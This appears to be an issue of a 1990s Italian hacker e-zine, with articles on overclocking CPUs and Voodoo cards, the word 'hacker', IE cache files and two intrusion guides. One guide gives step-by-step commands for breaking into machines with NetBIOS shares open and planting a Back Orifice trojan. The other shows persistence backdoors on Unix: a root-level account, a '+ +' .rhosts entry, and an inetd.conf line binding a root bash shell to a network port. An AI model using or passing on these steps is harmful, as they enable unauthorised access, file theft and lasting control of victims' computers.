password for UIN xxxxxxx was sent to e-mail [email protected]" Potete sinceramente darvi una pacca sulla spalla e gridare forte: sono un lamah :-D Per commenti, critiche e denuncie (anzi, quest'ultima NO) mailatemi a [email protected] Sephiroth ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ------------------- http://utenti.tripod.it/SoftWord ------------------------------------------------- [email protected] -------------------------------------------------------- NickName: SoftWord -------------------------------****** * * * * * * * * * * * * * * * * ****** * ****** * ***** ***** * ****** ***** * * ***** * * * * ****** * * * * ****** * * * * ****** ****** * * * * * * * * ****** ****** * * * ****** * * * * ** * * * * * * Dalla famosissima serie "Volemamo stupirvi con effetti speciali, ma non avevamo un editor ASCII :-(" - Ore: 17:55; - Consumo cibo: niente xkŠ sono in dieta, devo perdere 10 KG circa; - Telefilm: BayWatch; - Programma usato per editare questo testo: edit.com di WinDog 98; - Sistema usato: WinCat/z 98; Premessa: Queste informazioni le ho prese da altre FAQ e file di testo per riviste, o siti Internet specializzati in questi argomenti, e dalla mia esperienza in questo campo ormai da 1 anno. Comunque se dovessi commettere errori le critiche sono ben accette (anche di ortografia ed italiano, sopratutto quello :-) ) ma solo quelle (sono da evitarsi insulti vari) oppure eventuali spiegazioni, mandatele alla mia E-Mail: [email protected] (che penso proprio di cambiare visto che la Micro$oz non vuole proprio accelerare i server). ULTIMA COSA MA PIU' IMPORTANTE, NON SONO RESPONSABILE DI EVENTUALI "FUMINI" INDIANI CHE FUORIESCONO DAI VOSTRI CHIP, SCINTILLE O SCHERMI NERI CON HARDDISK E SCHEDE MADRI CHE NON SI ACCENDONO PIU'. LE MODIFICHE CHE FATE LE ESEGUITE VOI E NON IO QUINDI ESEGUITELI COME E SOLO COME VI DICO IO. IO VI DO' I MIE CONSIGLI SU ESPERIENZE SIA MIE CHE QUELLE DI ALTRI A CUI SONO RIUSCITE BENISSIMO. COMUNQUE VI CONSIGLIO DI FARVI DARE UNA MANO DA UN VOSTRO AMICO CHE "MASTICA" UN PO DI ELETTRONICA. +oO000000000Oo+ | I N D I C E | +oO000000000Oo+ 1. Overclock processori tutte le marche; 2. Overclock schede Voodoo versione 1 a 65 MHZ (non lo trovate da nessuna parte su come fare :-) Solo il vostro -=SoftWord=- ve lo dice); 3. I consigli del Clocker; +oO000000000Oo+ 1. Overclock processori tutte le marche: i processori che ho overcloccato sono: P90 overclockato a P120 P200 MMX overclockato a P250 MMX Processore attuale: AMD K6-2 3D 350 overclocato a 400 Con schede madri JetWay 542A ed una vecchia TMC 200MMX Di norma per overclockare bene un processore bisogna prima alzare la frequenza del bus (quello per intenderci che inizia con 66/75/83/90/100/da 100 a 133), io consiglio vivamente questo xkŠ surriscalda meno il processore e aiuta programmi tipo CPUIdle o Rain o altri a raffreddarla, proprio perchŠ questo settaggio non riguarda proprio specificatamente la CPU ma quelle connesse ai BUS PCI, AGP, ISA, ecc., proprio x questo bisogna fare molta attenzione a quelle periferiche tipo Hard-Disk vecchi che con frequenze non standard (che sono la 75 e 83), possono manomettere il funzionamento dei loro chips. Per• con varie prove effettuate ho notato che gli hard-disk di "marca" come Quantum, Samsung, insomma le + consociute, non succede niente. Se invece avete queste periferiche a "rischio" con queste frequenze di BUS esterno allora potete provare ad alzare direttamente il moltiplicatore della CPU. Questa Š una tavola (solo a scopo esplicativo) che dimostra come calcolare la frequenza esterna: BUS Esterno | Moltiplicatore | Risultato velocit… in MHZ della CPU| ------------------------------------------------------------------66 | 1.5 | 100 | 75 | 1.5 | 120 | 83 | 1.5 | 130 | 90 | 1.5 | 140/150 | 100 | 1.5 | 150 | ------------+----------------+------------------------------------| 66 | 2.0 | 130 | 75 | 2.0 | 150 | 83 | 2.0 | 166 | 90 | 2.0 | 180 | 100 | 2.0 | 200 | ------------+----------------+------------------------------------| 66 | 2.5 | 166/170 | 75 | 2.5 | 180/190 | 83 | 2.5 | 200/210 | 90 | 2.5 | 233 | 100 | 2.5 | 250 | ------------+----------------+------------------------------------| 66 | 3.0 | 200 | 75 | 3.0 | 233 | 83 | 3.0 | 250 | 90 | 3.0 | 270/280 | 100 | 3.0 | 300 | ------------+----------------+------------------------------------| 66 | 3.5 | 233 | 75 | 3.5 | 266 | 83 | 3.5 | 290 | 90 | 3.5 | 320/333 | 100 | 3.5 | 350 | ------------+----------------+------------------------------------| 66 | 4.0 | 266 | 75 | 4.0 | 300 | 83 | 4.0 | 333 | 90 | 4.0 | 350/360 | 100 | 4.0 | 400 | ------------+----------------+------------------------------------| 66 | 4.5 | 300 | 75 | 4.5 | 333/340 | 83 | 4.5 | 380 | 90 | 4.5 | 400 | 100 | 4.5 | 450 | ------------+----------------+------------------------------------| 100 | 5.0 | 500 | ------------+----------------+------------------------------------| P.S.: Non sono andato oltre xkŠ al momento in cui scrivo non ci sono processori capaci di andare oltre (senza overclock intendo). Come avrete capito si tratta del prodotto tra moltiplicatore e BUS cioŠ per ottenere una frequenza esterna di 400 ci sono molte possibilit…: 100 x 4.0 = 400 83 x 4.5 = 380 ecc...... Alla risultato della frequenza esterna ci sono doppi risultati; questo dipende da vari fattori, il processore oppure e sopratutto la Tabella di Codifica interna dei Bios che arrotonda la frequenza. Un altro trucco consiste nell'alzare il voltaggio della CPU, questo riscalder… ancora di pi— il Chip ma aumenter… la stabilit… del processore in caso di overclock, alcune schede madri permettono un incremento di 0,1 volt. Andate per grado troverete la soluzione ideale e attenti alla temperatura. Se volete aumentare ancora di + la frequenza consiglio di applicare un dissipatore + grosso ed una ventola + grossa, in questo modo si riesce ad aumentare la frequenza di 100 MHZ. Ho provato a portare il mio K6-2 350 a 450 senza ventoloni, dissipatori, o Boyler interni al cabinet :-), beh vi GIURO (so che non si giura mai ma in questo caso lo faccio) sotto WinPesce non si avvia neanche il DOS 7.x, invece sotto Linux addirittura in stato di StandBy raffredda la CPU e funziona a 450, mentre in WinFiletto di patessa no. Questo dimostra l'efficacia di alcuni programmi come Rain (io lo consiglio xkŠ occupa poco spazio, Š solo un file e raffredda di +) capaci di aiutare l'overclock, ma attenzione solo se non si usa al 100% la CPU, per esempio per tenere il computer acceso per fare un calcolo di chimica o matematica complessi, come nel mio K6-2 portato a 450, ho provato a vedere se reggeva compilando questo semplice programma: --- ovclk.c ------------------------ Taglia qui -----------------------------#include <stdio.h> int t = 0; void main() { for( ; ; t++) printf("%d\n", t); } ------------------------------------ Taglia qui -----------------------------Compilatelo con: gcc -o ovclk ovclk.c Eseguendo 2 copie nel nxtern in KDE e attivando tutte le shell in modalit… testo ed in queste avviando poi il programma, dopo pochissimi secondi, a mio malincuore, ho dovuto resettare subito tutto xkŠ si chiudevano i processi senza alcun motivo ed in + il dissipatore "BRUCIAVA". Con questo ho finito sulle CPU, passiamo alle mitiche Voodoo 1. +oO000000000Oo+ 2. Overclock schede Voodoo versione 1 a 65 MHZ: ATTENZIONE!!!!: SCONSIGLIO VIVAMENTE ALLE PERSONE CHE HANNO PROBLEMI DI CUORE DI LEGGERE QUESTO ARTICOLO, IN QUANTO QUESTA COSA NON L'HA MAI PROVATA NESSUNO E SPINGE AI LIMITI FISICI DEI CHIP DELLE SCHEDE. IO VI HO AVVERTITI, DOPO NON VENITE DA ME A CHIEDERMI IL RIMBORSO DELLE SPESE DELL'OSPEDALE. All'inizio possedevo una Flash 3D, poi una Magic 3D poi, dopo averla trovata solo in una fiera a Piacenza alla modica cifra di 270.000 œ una mitica Canopus Pure 3D 1, mitica xkŠ sembra fatta apposta per i Clockers (NON HANNO DATO ANCORA UN NOME AGLI "OVERCLOCKATORI" ALLORA LO DO' IO) semplicemente xkŠ ci sono 2 fori posti diagonalmente al chip voodoo + piccolo, che guarda caso Š quello che scalda di +), fatti apposta per aggangiarci su di tutto, come un dissipartore + ventola o come fanno molte case costruttrici, solo una ventola, poi possiede anche (questo l'ho dedotto leggendo la preview della Pure 3D 2 con Voodoo 2) ebbene si, un connettore per l'alimentazione di una eventuale ventola moooooolto comodo devo dire e, come se non bastasse la scheda cos• nuda e cruda arriva a 60 MHZ con i suoi driver (ma anche quelli normali). Per arrivare alla frequenza di 65 MHZ, che come ho gi… detto Š il massimo che si riesce ad arrivare con questi chip dopodichŠ la voodoo incomincia a vedere il paradiso della 3DFX (Vedasi cassonetto della spazzatura), bisogna applicare su ognuno dei due chip Voodoo l'accopiata ventola + dissipatore con pasta siliconica (che rimando al capitolo 3 su come risparmiare), eseguite questo procedimento sia per le CPU che per le Voodoo. Se proprio volete risparmiare ancora, fate come ho fatto io: prendete un CPU Cooler (altro che non Š che il kit ventola + dissipatore) che abbia il dissipatore che in larghezza o lunghezza o meglio ancora tutti e due i lati (cos• si raffredda una zona + ampia) quella che ho trovato miracolosamente io Š larga e lunga 6.5 cm, ed una ventola secondaria magari di un vecchio 486 o altro. A questo punto svitate la ventola sul dissipatore e fate in modo di riavvitarle tutte e due sul dissipatore anche se escono al di fuori dello stesso. Prendete la pasta siliconica ed applicatene un po sia sulla superficie del chip che del dissipatore a questo punto teneteli attaccati per circa 5 minuti con le vostre manine, se vedete che si staccano ancora dovete ripulire le superfici impastate con alcool etilico e riprovare magari applicandone un po di pi—. -Per quelli che hanno una presa sulla loro Voodoo (di solito di colore bianco sulla Canopus) che ho descritto nell'introduzione: -Tagliate le prese di alimentazione delle 2 ventoline (quelle bianche per intenderci), queste non servono + non so magari conservatele per sostituire eventuale connettori che si rompono o fare estensioni in caso abbiate finito quelli presenti nel vostro cabinet. Vi serve sono uno di quei connettori piccoli che di solito si collegano per il Turbo Switch, che come saprete, se non lo sapete ve lo dico io, i processori dalla serie "Pentium" in poi non possiedono la capacit… di turbo come i 486 e non so i 386. Prendete questo (di solito piccolo rettangolare molto sottile di colore nero) e collegate fra di loro il cavo di colore rosso delle ventole e separatamente quelli neri delle due ventole, in questo modo alimentate due ventole con una presa. In fine (finalmente non ne posso + di scrivere, sono le ore 19:40) guardate con un tester o semplicemente con un led quale Š il polo positivo e negativo della presina bianca posta sulla scheda quella vicino alle piste del connettore PCI ed attaccateci il connettore appena creato per intenderci; Ecco + 0 - l'immagine (schematizzata) della mia Voodoo dopo avergli attaccato il dissipatore e le due ventole: | ----+--------------------+--+ | | |O -------------------------- Presa di alimentazio| | ne per ventoline +--| +-------------+ | | | |||||||||||||||---------- Dissipatore grande | | +-------++-------+ | | | | || | | | | | || | | Ventola nø 1 ------------| || |--------- Ventola nø 2 | | +-------++-------+ | | | ||||||||||||||| | | | +-------------+ | | | | +--| | | | |____________________| Penso che dopo che qcuno vedr… questo disegna mi dar… il premio no-bel (o noschif). Ultima nota: questa modifica purtroppo occuper… ben due slot nel senso che almeno la mia occupa con tutto montato ben 3 cm di altezza. 3. I consigli del Clocker: 1. Invece di usare la pasta siliconica che per un tubettino piccolo costa ben 100.000 œ, comprate la "Pasta Rossa", che tutti i meccanici conosceranno, ne esiste anche una nera, ma io consiglio quella rossa della Arexons xkŠ trasmette meglio il calore e regge a temperature da -70øC a + 300øC; 2. Se per i vostri OverClock dovreste notare un surriscaldamento eccessivo del dissipatore, spegnete immediatamente il computer xkŠ se si scalda questo che resiste molto al calore, figuriamoci a che temperatura sia il Chip; 3. Le CPU di solito dovrebbero resistere se non sbaglio fino a 50-60øC dopo di tale soglia si rischia di bruciare la CPU; 4. Cercate quanto pi— possibile di tenere con programmi o dissipatore grandi e ventole altrettanto grandi di raffreddare i chip. Per le CPU consiglio di usare programmi tipo Rain (che troverete qui in allegato oppure al mio sito indicato nell'intestiozione di questa guida) o altri programmi. Per questo numero Š finita sono le ore 20:25 e finalmente ho finito, spero con l'autorizzazione di N0bodY88 di iniziare a scrivere un corso su Assembler e C e sul cracking e Html e programmazione Giochi in ambiente DOS intanto lo ringrazio per avermi dato la possibilit… di dare il mio aiuto a gente che cercava qualche info in pi— sugli argomenti appena descritti. Se doveste capitare i IRC io sono in #hacker2, #warezitalia, a volte in #newtgm quando non lo takkano, #funstaff se ]Games[ si decidesse ad aprirlo, il mio NickName Š SoftWord numero ICQ 33483513. UN ANNUNCIO A TUTTI: SE QUALCUNO CONOSCE UN BREVE TUTORIAL DI SORGENTI CHE SPIEGANO COME PROGRAMMARE IN AMBIENTE WINDOZ COL C SENZA CLASSI (NON MI PIACCIONO TANTO SI CAMPA ANCHE SENZA) E' PREGATO E SUPPLICATO DALLO SCRIVENTE DI INVIARMI L'INDIRIZZO INTERNET DOVE REPERIRE SUDDETTA DOCUMENTAZIONE. Ciauz a tutti e concludo con una famossima frase della Micro$oft: "Windows 98: Do you want to Reinstall today ?". My manifest -=SoftWord=ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º º³ CHE ABBIANO CAPITO QUALCOSA ? ³º ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ Salve a tutti!!! Ecco un altro articolo per questa grande e-zine .(continuate cos•)! Questa volta voglio parlarvi di una cosa che mi ha stupito moltissimo. Il 9 Aprile sono andato a Bologna per il Futurshow (quante figheeee) e mentre ero nei dintorni dello stand della tin, una ragazza che lavorava li mi ha dato un piccolo libretto intitolato "Il dizionario di Internet". Sicuro di aver beccato la solita cazzata lo prendo e me lo metto in tasca. Fin qua direte voi. "E con ci•?".. come ho avuto un po' di tempo ho iniziato a sfogliare il dizionario, trovando le solite cose ...Irc, Ftp, Telnet ecc. Arriviamo al dunque. Per caso ho cercato la parola "Hacker" sicuro di trovare le solite definizioni date da chi cerca di parlare di ci• che non conosce, come "Pirati Informatici" o "Criminali della Rete". Ebbene no.. ..ecco quello che dice.. [.] Negli ultimi tempi, per•, Š nata una distinzione fra "hacker" e "cracker": mentre questi ultimi sono i criminali del futuro, il termine hacker ha perso ogni eccezione criminale o negativa. Addirittura cercano oggi di assumere hackers che studino in maniera ortodossa le loro tecnologie, per scovarne i punti deboli e migliorarli. [.] FABIO ROSSI ha scritto queste definizioni ..forse Š uno dei pochi che ha capito qualcosa Ja[3]Ck ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º º³ HACKING DEI COMPUTER NETBIOSSATI ³º ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ * Introduzione: Eccomi qua. Questa Š la prima volta che scrivo un articolo per Newbies, anche se N0bodY88 mi prega di farlo fin da prima dell'uscita del numero 1 (non ho mai avuto voglia di scrivere qualcosa per lui, poveretto=)). Dato che mi faceva molta pena ho deciso di scrivere sto articolozzo sul Netbios. E voi dite: "e mo che Š sto Netbios??". Il Netbios Š una cosina fatta da Microsfott © che serve a sfruttare le reti locali LAN IPX. Dato che il nostro caro amico Bill Š fissato con integrare tutto con internet ha integrato pure questo Netbios, rendendolo facilmente accessibile da chiunque via rete. Ma che simpatico questo nostro caro amico Bill. * Configurazione del pc: Per sfruttare le risorse di questa miniera d'oro chiamata netbios bisogna configurare il proprio pc con su montato winzozz T. Eh si mi dispiace ma il caro sistema disoperativo del vecchio Bill Š necessario. Ora andate nelle propriet… della vostra connessione di accesso remoto, in tipi di server, e mettete accedi alla rete. Fatto ci• andate in avvio\impostazioni\pannello di controllo\rete e aggiungete i seguenti client: Client per reti microsoft Client per reti netware (che automaticamente aggiunger… il protocollo compatibile IPX/SPX, se non lo fa fatelo voi) E il protocollo Netbios. Fatto ci• andate nelle propriet… del client per reti microsoft e selezionate connessione rapida, dopodichŠ nelle propriet… del protocollo compatibile IPX/SPX mettete attiva Netbios. Fate OK e dopo aver installato i driver (per i piratoni ci vuole il cd di windows) riavviate il pc. Ora siete pronti per fare kasino!!! * Hacking dei computer Netbiossati: Volendo fare un po' di teoria vi dir• che il Netbios lavora sulla porta 139 TCP/UDP (si proprio quella del winnuke). Prima di tutto beccate un computer col sysadmin scemo e il Netbios attivo (come farlo ve lo spiego dopo). Vi faccio un esempio pratico cos• anche i pi— grulli capiscono come funziona la cosa (senza offesa per i pi— grulli hihi=)). Allora io becco l'ip della macchina (212.216.34.144) poi vado nel prompt di msdos (evvivaa niente winzozz T per ora) e scrivo: cd x:\windows nbtstat -A 212.216.34.144 Vi risponder…: NetBIOS Remote Machine Name Table Name Type Status ---------------------------------------------------------------------------HALL9000 <00> UNIQUE Registered WORKGROUP <00> UNIQUE Registered HALL9000 <03> UNIQUE Registered HALL9000 <20> UNIQUE Registered WORKGROUP <1E> UNIQUE Registered A questo punto ci segnamo il primo nome della lista, HALL9000 (notate che nel Netbios tutto Š scritto maiuscolo), e facciamo: edit x:\windows\lmhosts Nell'editor del dos scriviamo: 212.216.34.144 HALL9000 #PRE Il tag #PRE Š fisso e va sempre messo, gli spazi sono fatti col TAB (non usate altro). Salvate e uscite. Ora per caricare questo file scrivete: nbtstat -R Vi dovrebbe rispondere (se vi risponde altro o avete sbagliato a editare il file oppure avete configurato male il pc): Successful purge and preload of the NBT Remote Cache Name Table. Ora vediamo se ci sono risorse condivise nel pc. Fate: net view \\HALL9000 Se non ci sono risorse condivise o non si ha il permesso di accedervi vi risponder… con un errore, altrimenti vi dir…: Risorse condivise su \\HALL9000 Condivisione Tipo Commento ________________________________________________ C Disco D Disco E Disco F Disco G Disco HP Stampa Esecuzione comando riuscita. Tombola!! Ci siamo abbiamo i nomi delle sue risorse condivise. Ora basta uscire dal dos e andare in gestione risorse (si avete letto bene). Nel menu in alto andate in Strumenti\Connetti unit… di rete. Ora come avrete gi… capito si assegna una lettera al vostro "nuovo hd" che avrete (cioŠ l'hd dell'altro) e scrivete \\HALL9000\C per esplorare la condivisione C (che probabilmente sar… il C: del tipo), \\HALL9000\D per la condivisione D e cos• via. Avrete notato sicuramente che oltre ai vari dischi li c'Š anche la condivisione HP di tipo "Stampa". Vuol dire semplicemente che quella condivisione Š connessa alla stampante del tipo e potete stampare i vostri file con la sua stampante.. divertente no?=). Naturalmente sar… tutto abbastanza lento perchŠ avverr… via internet, non sar… come esplorare i vostri hd di certo. Bene ora che sapete come accedere agli hd passiamo a cose pi— importanti. Prima di tutto vi chiederete come fare a prendere e a mettere file. E' semplice, dato che l'hd in remoto Š come se fosse il vostro, quindi basta fare copia e incolla. Come fare invece per eseguire i file? Non Š cos• semplice come pensiate, cliccando sul file .exe in remoto si eseguir… sul VOSTRO pc (ovviamente) quindi dovete giocare d'astuzia. Se volete mettere un trojan settatelo in modo da mandarvi una email con l'ip ogni volta che il pc va online, dopodiche' mettete questo trojan in c:\windows\menu avvio\programmi\esecuzione automatica\ oppure in c:\windows\start menu\program files\startup (non ne sono sicuro pero', non ho la versione inglese di windows). Poi fate in modo di riavviare il pc se e' un server fisso, altrimenti aspettate il giorno dopo (per vedere se e' un server guardate la lista di ID dell'nbtstat -A, se ce ne sono pi— di 4-5 allora probabilmente Š server). Smurfatelo, nukkatelo, provate tutto. Consiglio di usare il BO dato che all'avvio si cancella da esecuzione automatica. Inoltre quando entrate con gestione risorse se il sysadmin Š un po' furbo vi verra' chiesta una password (non preoccupatevi, cio' e' molto raro). Exploits o un brute force per queste password purtroppo non ne conosco, se voi si allora mandatemi informazioni. Ultima cosa, quando i nomi degli ID o delle condivisioni contengono spazi dovete usare gli "". Ad esempio se con nbtstat -A troviamo il nome TRA LLA allora nel lmhosts dovremo scrivere: numero_ip E poi "TRA LLA" #PRE net view "\\TRA LLA" E se vediamo che ha una condivisione chiamata BLA BLA allora faremo in gestione risorse: "\\TRA LLA\BLA BLA". * Trovare i computer Netbiossati: Questo Š molto semplice, basta un programma chiamato Legion (lo trovate su http://rhino9.ml.org o al mio sito http://kalidor.tsx.org) che scanna dei range di ip. Io consiglio di provare sempre il dominio 212.216.* dato che ho scoperto che quella zona Š strapiena di ip Netbiossati (infatti Š la zona principale della TIN;-)). * Ultima parola: L'articolo Š finito, spero sia stato esauriente, cmq se avete domande scrivetemi a [email protected]. Ringrazio N0body per avermi costretto a scrivere questo articolo, almeno ho trovato qualcosa da fare. Kalidor (mailto:[email protected] http://kalidor.tsx.org) ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º º³ TRE SEMPLICI BACKDOORS ³º ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ Created by: Hamelin 1 ) aggiungere un account 2 ) manipolare .rhosts 3 ) crearsi una porta sul sistema Prima di tutto bisogna spiegare il significato di backdoor (lo dico per i newbies che leggono per la prima volta testi sull'hacking..) : in poche parole Š un metodo che serve a mantenere l'accesso su un sistema dopo che il system administrator si Š accorto di una eventuale intrusione e sul metodo usato dall'hacker per penetrare. Crearsi una delle backdoor elencate sopra non Š difficile e molte volte risultano efficaci (soprattutto se il sysop non controlla spesso i files di sistema...). NOTA IMPORTANTE: per eseguirle nella maggior parte delle volte dovrete avere l'accesso con UID 0 e GID 0 ..ovvero come root! 1 ) Una delle prime cose che farei una volta entrato nel sistema Š aggiungere un account al file delle password (etc/passwd) in modo da poter rientrare con estrema facilit….Il comando da eseguire Š: adduser Beppe (Beppe Š il nome che volete...) passwd Enricolatalpa (Enrico ecc. Š la password che poi userete per loggarvi...) Ovviamente sarebbe meglio non usare un nome come Beppe perchŠ se il sysop dovesse leggere il file delle passwd (e lo fa...) noterebbe subito il nomignolo e potrebbe insospettirsi... Una buona idea sarebbe usare ad esempio - syst - . Ricordatevi anche di settare il vostro uid a 0 cos• come il gid in modo da avere accesso con privilegi massimi! 2 ) Questa Š una backdoor molto usata e permetterebbe di avere un accesso senza passwd! Innanzi tutto Š bene chiarire cos'Š Rlogin.Questo bel programmino permette di loggarsi senza bisogno di una password (man rlogin , per maggiori informazioni ...) ma si possono usare anche rsh e rexec. Cmq, quello che dovrete fare Š editare il file .rhosts (di solito nella directory /etc oppure nelle home dei vari utenti) ed aggiungere un bel + + . Se ci dovessero essere gi… degli account baster… aggiungere i pi— sotto. In questo modo tutti potranno eccedere al sistema semplicemente usando rlogin. Se invece volete essere masochisti potrete inserire questo nel file: vostro_server vostro_username Ovviamente Š altamente sconsigliato perchŠ se il system operator dovesse editare il file vedr… praticamente la vostra carta di identit… (e mandarvi i carramba a casa in mezz'ora),potreste invece usare l'account di qualcun altro ( qui tornano utili Back Orifice e Netbus) ma per farlo dovreste essere veramente bastardi. Ultima cosa per quelli che non hanno voglia di vedersi il manuale di rlogin....la sintassi Š la seguente: rlogin -l username host 3 )Quest'ultima backdoor Š un p• pi— complicata delle altre (se vi sembra tanto difficile allora non conoscete unix 'azz ).La prima cosa da fare Š editare il file services dove sono elecanti tutti i servizi e le rispettive porte.Adesso trovate una porta disponibile ad esempio la 22. .... ftp-data ftp telnet - file services 20/tcp 21/tcp 23/tcp ------> come vedete manca la 22.. perche' non la creiamo....noi? quindi aggiungete questa linea sotto ftp e sopra telnet:(rifaccio tutto per gli Homer Simpson all'ascolto v…... : ) ftp-data ftp hamelin telnet 20/tcp 21/tcp 22/tcp 23/tcp Analizziamo: Hamelin | | nome servizio 22 porta / | | tcp | | protocollo usato dal servizio Ok,salviamo tutto ed editiamo un altro bel file : inetd.conf In esso possiamo trovare scritti tutti i servizi attivi e non (ovviamente noi attiveremo qualcosa eh!eh! : ) Troverete certamente righe come queste: (1) (2) (3) (4) (5) (6) (7) ftp stream tcp nowait root /usr/etc/ftpd ftpd talk dgram udp wait root /usr/etc/ntalkd ntalkd Analizziamo: 1)nome daemon 2)tipo di connessione 3)protocollo usato (che non Š a quadretti o a righe...) 4)tipo di daemon 5)user associato al daemon 6)programma da eseguire al l'attivazione della connessione 7)programma con le opzioni da eseguire Quello che dobbiamo fare adesso Š aggiungere la nostra porta.....lo facciamo cosi': hamelin stream tcp nowait /bin/bash /bash -i In poche parole abbiamo attivato la connessione sulla porta 22 e l'abbiamo associata alla shell suid in modo da trovarci dentro al sistema con accesso di root semplicemente telnettandoci su st… famosa porta 22 (man telnet per maggiori informazioni). Con questo ho concluso, spero che sia stato tutto chiaro in caso contrario scrivete pure a [email protected] cioe' a [email protected] ! dalla regia mi stanno dicendo una cosa...ah si'..... compratevi l'ultimo album dei Blur che e' stupendo. SEe Ya! HaMelIn ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º º³ CACHE DI IE...DOVE HAI MESSO IL MIO MIDI??? ³º ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ PREMESSA = tutto cio' che dico in questo articolo e' prima di tutto considerato inutile da molte persone e poi e' frutto di mie ipotesi quindi potrebbe essere tutto sbagliato, ma almeno ci ho provato :) Ciao a tutti belli e brutti (si comincia bene...) allora in questo articoletto vi parlero' di una cosa che scoprii qualke mese fa e che scrissi sul ng ahccc dove confermarono (tnx Master) i miei sospetti, cioe' che avevo trovato i file della cache di ie 4.0 (peccato che io e le guide di win non andiamo d'accordo... se no mi sarei evitata una bakkettato dal Maestro eheheheheh). L'idea di parlarne qui sulla e-zine mi e' venuta a causa di un newbie che mi ha contattato dicendo che aveva ascoltato un midi navigando in un sito ma che, una volta offline, del midi non ce ne era + traccia....o almeno non dove si va a guardare come prima cosa, cioe' nella dir C:\WINDOWS\TEMPORARY INTERNET FILES. In essa vengono salvate molte pagine e immagini dei siti nei quali abbiamo navigato quel poko di tempo che telecozz ci ha permesso di farci spennare.... ma non tutte. E qui vi chiederete...come mai? E io vi rispondero'...e che ne so io??? Pero'..asp...non smettete di leggere...ehehehehe...a prescindere dal fatto che non so xche' alcuni .htm .html .gif .jpg ci sono e altri no....ma smanettando in uno di quei pomeriggi di quei gg che non hai un cazz da fare (non avevo ankora scoperto l'hacking...e tutto quello che c'e' da imparare!) mi sono detto "Ma se io scarico x y e z xche' vedo solo x e y ?" e cosi' ho deciso di provare ad andare nella dir C:\WINDOWS, a scegliere "Trova..." dal menu che appariva clikkando col tasto destro del topo e poi clikkando sul tasto Trova e...tadan! La ricerca mi fa vedere la solita sfilza di file html e grafici ma..aspetta un attimo....che cosa sono quelle 4 directory con quei nomi strani? Come notai subito i famosi file che non trovavo mi accorsi subito che erano contenuti in quelle dir....e x la cronaca...non ho mai capito che criterio usa ie x mettere i file nella dir principale o in una delle 4 sottodir. Sta di fatto che le 4 dir trovate hanno nomi strani, sembrano quasi casuali... x esempio adesso nella cache io ho 4 directory che hanno i seguenti nomi: 0L2R0L2J IDWRGTUJ OKT4XOHO KTE309UJ O sono crittate molto bene o sono io pirla (la seconda che hai detto...hihihi). Se vi doveste trovare con poco spazio su hd 